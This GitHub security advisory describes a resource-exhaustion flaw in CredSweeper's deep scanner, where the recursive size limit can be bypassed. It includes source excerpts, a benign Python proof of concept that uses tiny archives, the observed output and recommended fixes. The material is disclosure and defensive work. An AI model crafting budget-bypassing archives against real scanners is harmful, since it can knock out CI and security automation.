GHSA-9MQM-QCWF-5QHG

Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25
VLAI
Summary
CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources
Details

Summary

CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.

This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.

The issue has two closely related exploitation paths that share the same root cause:

  1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.

  2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.

The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.

The relevant call chain is:

  • credsweeper/app.py:323 self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)
  • credsweeper/deep_scanner/abstract_scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
  • credsweeper/deep_scanner/abstract_scanner.py:58-94 recursive_scan() stops only on:
  • negative depth
  • data shorter than MIN_DATA_LEN It does not stop when recursive_limit_size is negative.

Exact source-level issue:

  1. Negative budgets are still accepted

credsweeper/deep_scanner/abstract_scanner.py:71-91

if 0 > depth:
    return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
    return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)

There is no guard such as if recursive_limit_size < 0: return.

  1. Full decompression happens before any hard budget enforcement

credsweeper/deep_scanner/gzip_scanner.py:33-43

with gzip.open(io.BytesIO(data_provider.data)) as f:
    gzip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(gzip_content_provider.data)
    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)

credsweeper/deep_scanner/bzip2_scanner.py:38-43

bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)

credsweeper/deep_scanner/lzma_scanner.py:38-43

lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)

The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.

  1. Multi-entry archives use per-entry checks instead of a shared cumulative budget

credsweeper/deep_scanner/zip_scanner.py:49-60

if 0 > recursive_limit_size - zfl.file_size:
    continue
with zf.open(zfl) as f:
    zip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(zip_content_provider.data)
    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)

credsweeper/deep_scanner/tar_scanner.py:48-59

if 0 > recursive_limit_size - tfi.size:
    continue
with tf.extractfile(tfi) as f:
    tar_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(tar_content_provider.data)
    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)

These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.

  1. Same code pattern is also present in RPM scanning

credsweeper/deep_scanner/rpm_scanner.py:42-51

The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.

Version scope:

  • The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
  • The last release before that commit is v1.4.8.
  • The first release containing that commit is v1.4.9.
  • Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:

  • Repository: https://github.com/Samsung/CredSweeper
  • Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  • Version: 1.15.8

I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.

Reproduction steps:

  1. Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  1. Save the following as proof_poc.py one directory above the repository, or adjust REPO_ROOT accordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")

def load_module(name, relpath):
    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module

def reset_credsweeper_modules():
    for name in list(sys.modules):
        if name == "credsweeper" or name.startswith("credsweeper."):
            del sys.modules[name]

def install_common_stubs():
    for name in [
        "credsweeper",
        "credsweeper.common",
        "credsweeper.config",
        "credsweeper.credentials",
        "credsweeper.deep_scanner",
        "credsweeper.file_handler",
        "credsweeper.scanner",
        "credsweeper.utils",
    ]:
        module = types.ModuleType(name)
        module.__path__ = []
        sys.modules[name] = module

    constants_module = types.ModuleType("credsweeper.common.constants")
    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
    constants_module.MIN_DATA_LEN = 8
    constants_module.DEFAULT_ENCODING = "utf_8"
    constants_module.UTF_8 = "utf_8"
    constants_module.MIN_VALUE_LENGTH = 4
    sys.modules["credsweeper.common.constants"] = constants_module

    config_module = types.ModuleType("credsweeper.config.config")
    class Config: pass
    config_module.Config = Config
    sys.modules["credsweeper.config.config"] = config_module

    candidate_module = types.ModuleType("credsweeper.credentials.candidate")
    class Candidate:
        @staticmethod
        def get_dummy_candidate(*_args, **_kwargs):
            return "dummy"
    candidate_module.Candidate = Candidate
    sys.modules["credsweeper.credentials.candidate"] = candidate_module

    augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
    def augment_candidates(dst, src):
        if src:
            dst.extend(src)
    augment_module.augment_candidates = augment_candidates
    sys.modules["credsweeper.credentials.augment_candidates"] = augment_module

    descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
    class Descriptor:
        def __init__(self, extension="", info=""):
            self.extension = extension
            self.info = info
    descriptor_module.Descriptor = Descriptor
    sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module

    file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
    class FilePathExtractor:
        FIND_BY_EXT_RULE = "Suspicious File Extension"
        @staticmethod
        def is_find_by_ext_file(_config, _extension):
            return False
        @staticmethod
        def check_exclude_file(_config, _path):
            return False
    file_path_extractor_module.FilePathExtractor = FilePathExtractor
    sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module

    scanner_module = types.ModuleType("credsweeper.scanner.scanner")
    class Scanner: pass
    scanner_module.Scanner = Scanner
    sys.modules["credsweeper.scanner.scanner"] = scanner_module

    util_module = types.ModuleType("credsweeper.utils.util")
    class Util:
        @staticmethod
        def get_extension(path, lower=True):
            ext = os.path.splitext(str(path))[1]
            return ext.lower() if lower else ext
    util_module.Util = Util
    sys.modules["credsweeper.utils.util"] = util_module

    content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
    class ContentProvider: pass
    content_provider_module.ContentProvider = ContentProvider
    sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module

    data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
    class DataContentProvider:
        def __init__(self, data, file_path=None, file_type=None, info=None):
            self.data = data
            self.file_path = file_path or ""
            self.file_type = file_type or ""
            self.info = info or ""
            self.descriptor = Descriptor(extension=self.file_type, info=self.info)
    data_content_provider_module.DataContentProvider = DataContentProvider
    sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module

    def install_provider_stub(module_name, class_name):
        module = types.ModuleType(module_name)
        class Provider:
            def __init__(self, *args, **kwargs):
                for key, value in kwargs.items():
                    setattr(self, key, value)
        setattr(module, class_name, Provider)
        sys.modules[module_name] = module

    install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
    install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
    install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
    install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
    install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")

def get_head_commit():
    return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()

def get_package_version():
    init_path = os.path.join(SOURCE_ROOT, "__init__.py")
    with open(init_path, "r", encoding="utf-8") as handle:
        for line in handle:
            if line.strip().startswith("__version__ = "):
                return line.split("=", 1)[1].strip().strip('"')
    raise RuntimeError("Cannot locate __version__")

def load_scanners():
    reset_credsweeper_modules()
    install_common_stubs()
    abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
    gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
    bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
    lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
    zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
    tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
    provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module

class RecordingRecursiveCalls:
    def __init__(self):
        self.calls = []
        self.config = object()
    def recursive_scan(self, data_provider, depth, recursive_limit_size):
        self.calls.append({
            "path": data_provider.file_path,
            "len": len(data_provider.data),
            "limit": recursive_limit_size,
            "info": data_provider.info,
            "depth": depth,
        })
        return []

def build_compressed_payloads(payload):
    gzip_buffer = io.BytesIO()
    with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
        handle.write(payload)
    return {
        "gzip": gzip_buffer.getvalue(),
        "bzip2": bz2.compress(payload),
        "lzma": lzma.compress(payload),
    }

def proof_negative_budget_after_full_decompression():
    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    payload = b"A" * 64
    recursive_limit_size = 16
    compressed_payloads = build_compressed_payloads(payload)
    results = []
    for name, module, file_name in [
        ("gzip", gzip_module, "proof.txt.gz"),
        ("bzip2", bzip2_module, "proof.txt.bz2"),
        ("lzma", lzma_module, "proof.txt.xz"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
        scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "compressed_size": len(compressed_payloads[name]),
            "decompressed_size": recorder.calls[0]["len"],
            "configured_limit": recursive_limit_size,
            "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
            "recursive_call": recorder.calls[0],
        })
    return results

def proof_negative_budget_not_rejected():
    abstract_module, _, _, _, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    AbstractScanner = abstract_module.AbstractScanner
    class DemoScanner(AbstractScanner):
        @property
        def config(self):
            return object()
        @property
        def scanner(self):
            return object()
        def data_scan(self, data_provider, depth, recursive_limit_size):
            return []
        @staticmethod
        def get_deep_scanners(data, descriptor, depth):
            return [], []
        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
            self.proof = {
                "data_len": len(data_provider.data),
                "depth": depth,
                "recursive_limit_size": recursive_limit_size,
            }
            return []
    demo = DemoScanner()
    provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
    return demo.proof

def proof_cumulative_budget_bypass_in_multi_entry_archives():
    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    recursive_limit_size = 16
    member_size = 12

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("a.txt", b"A" * member_size)
        archive.writestr("b.txt", b"B" * member_size)

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
        for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
            payload = fill * member_size
            info = tarfile.TarInfo(name)
            info.size = len(payload)
            archive.addfile(info, io.BytesIO(payload))

    results = []
    for name, module, data, scanner_name in [
        ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
        ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "configured_limit": recursive_limit_size,
            "member_size": member_size,
            "member_count": len(recorder.calls),
            "total_extracted_bytes": sum(call["len"] for call in recorder.calls),
            "recursive_calls": recorder.calls,
        })
    return results

print(json.dumps({
    "head_commit": get_head_commit(),
    "package_version": get_package_version(),
    "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
    "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
    "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
  1. Run it with Python 3:
python proof_poc.py
  1. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
  "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
  "package_version": "1.15.8",
  "proof_1_negative_budget_after_full_decompression": [
    {
      "format": "gzip",
      "compressed_size": 24,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "bzip2",
      "compressed_size": 39,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "lzma",
      "compressed_size": 68,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    }
  ],
  "proof_2_negative_budget_not_rejected": {
    "data_len": 64,
    "depth": 0,
    "recursive_limit_size": -48
  },
  "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
    {
      "format": "zip",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    },
    {
      "format": "tar",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    }
  ]
}

What this proves:

  • GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.

  • AbstractScanner: The negative budget is not rejected. recursive_scan() still dispatches into deep_scan_with_fallback() with recursive_limit_size = -48.

  • ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.

This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.

Who is impacted:

  • Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
  • CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
  • Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.

Practical consequences:

  • Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
  • Archive inputs with many individually small members can exceed the configured budget in aggregate.
  • Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.

Security classification:

  • Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
  • Related weakness: CWE-400: Uncontrolled Resource Consumption

I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:

  1. Add a hard negative-budget guard in recursive_scan() and structure_scan()

Before any recursive dispatch, abort when recursive_limit_size < 0.

  1. Enforce limits before or during decompression, not after full materialization

  2. gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.

  3. If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.

  4. Track a mutable cumulative budget across sibling archive members

  5. zip, tar, and rpm should share a remaining-budget counter across entries.

  6. After one child is accepted, decrement the shared remaining budget before processing the next sibling.

Recommended regression tests:

  • A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
  • Equivalent tests for bzip2 and lzma/xz.
  • A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
  • A direct unit test for recursive_scan() showing that negative recursive_limit_size stops recursion immediately.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "credsweeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.9"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:25:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCredSweeper\u0027s deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth \u003e 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 \u003e depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN \u003e len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size \u003c 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 \u003e recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 \u003e recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python\u0027s standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 \u003c\u003c 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip(\u0027\"\u0027)\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            